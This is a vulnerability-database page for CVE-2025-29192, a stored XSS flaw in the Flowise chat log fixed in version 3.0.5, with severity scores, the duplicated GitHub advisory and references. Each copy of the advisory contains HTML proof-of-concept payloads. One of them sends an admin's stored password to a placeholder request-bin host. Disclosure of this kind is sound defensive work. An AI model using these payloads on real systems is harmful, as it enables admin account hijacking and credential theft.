CVE-2025-29192
Flowise Stored XSS vulnerability through logs in chatbot
Flowise before 3.0.5 allows XSS via a FORM element and an INPUT element when an admin views the chat log.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.2
Flowise before 3.0.5 allows XSS via a FORM element and an INPUT element when an admin views the chat log.
- Record
CVE-2025-29192- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2025-32213
8.2
Flowise before 3.0.5 allows XSS via a FORM element and an INPUT element when an admin views the chat log.
- Record
EUVD-2025-32213- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-7r4h-vmj9-wg42
5.3
Flowise Stored XSS vulnerability through logs in chatbot
Description
In the chat log, tags like input and form are allowed. This makes a potential vulnerability where an attacker could inject malicious HTML into the log via prompts. When an admin views the log containing the malicious HTML, the attacker could steal the admin's credentials or sensitive information with stored Cross Site Scripting.
PoC
<form>
<input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:alert('XSS!!!');" />
</form>
If the above HTML code is entered, a very large img gets injected into the log. When an admin clicks the generated img, it alerts ‘XSS!!!’. It means stored xss is able in the chatbot.
<form>
<input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:window.location.href='<YOUR_REQUESTBIN_SERVER>?passwd=' + encodeURIComponent(localStorage.getItem('password'));" />
</form>
So when an admin clicks the img that generated by above html code, it sends a request, including credentials, to the attacker's IP. If attacker steal admin’s token, attacker can login as the admin in the apps.
Poc Video
Impact
An attacker could hijack an admin account in published chatbot. This can allow attacker to view chat logs of other users and API keys.
- Record
GHSA-7r4h-vmj9-wg42- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-wq95-wr7m-26h4
8.2
Duplicate Advisory: Flowise Stored XSS vulnerability through logs in chatbot
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-7r4h-vmj9-wg42. This link is maintained to preserve external references.
Original Description
Flowise before 3.0.5 allows XSS via a FORM element and an INPUT element when an admin views the chat log.
- Record
GHSA-wq95-wr7m-26h4- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
8.2
Flowise before 3.0.5 allows XSS via a FORM element and an INPUT element when an admin views the chat log.
- Record
CVE-2025-29192- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
8.2
Flowise before 3.0.5 allows XSS via a FORM element and an INPUT element when an admin views the chat log.
- Record
CVE-2025-29192- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-7r4h-vmj9-wg42
5.3
Flowise Stored XSS vulnerability through logs in chatbot
Description
In the chat log, tags like input and form are allowed. This makes a potential vulnerability where an attacker could inject malicious HTML into the log via prompts. When an admin views the log containing the malicious HTML, the attacker could steal the admin's credentials or sensitive information with stored Cross Site Scripting.
PoC
<form>
<input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:alert('XSS!!!');" />
</form>
If the above HTML code is entered, a very large img gets injected into the log. When an admin clicks the generated img, it alerts ‘XSS!!!’. It means stored xss is able in the chatbot.
<form>
<input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:window.location.href='<YOUR_REQUESTBIN_SERVER>?passwd=' + encodeURIComponent(localStorage.getItem('password'));" />
</form>
So when an admin clicks the img that generated by above html code, it sends a request, including credentials, to the attacker's IP. If attacker steal admin’s token, attacker can login as the admin in the apps.
Poc Video
Impact
An attacker could hijack an admin account in published chatbot. This can allow attacker to view chat logs of other users and API keys.
- Record
GHSA-7r4h-vmj9-wg42- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-wq95-wr7m-26h4
8.2
Duplicate Advisory: Flowise Stored XSS vulnerability through logs in chatbot
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-7r4h-vmj9-wg42. This link is maintained to preserve external references.
Original Description
Flowise before 3.0.5 allows XSS via a FORM element and an INPUT element when an admin views the chat log.
- Record
GHSA-wq95-wr7m-26h4- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
flowisenpm |
before 3.0.5 | 3.0.5 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-29192 is a high vulnerability (CVSS 8.2) in Flowiseai Flowise, published October 3, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.41%, the 35th percentile. Fixed in flowise 3.0.5.
References
github.com/FlowiseAI/Flowise/pull/4905
github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5
github.com/FlowiseAI/Flowise/security/advisories/GHSA-7r4h-vmj9-wg42
nvd.nist.gov/vuln/detail/CVE-2025-29192
github.com/FlowiseAI/Flowise/commit/9a06a85a8ddcbaeca1342827a5fea9087a587d97
github.com/advisories/GHSA-7r4h-vmj9-wg42
github.com/advisories/GHSA-wq95-wr7m-26h4
github.com/CVEProject/cvelistV5/tree/main/cves/2025/29xxx/CVE-2025-29192.json
github.com/FlowiseAI/Flowise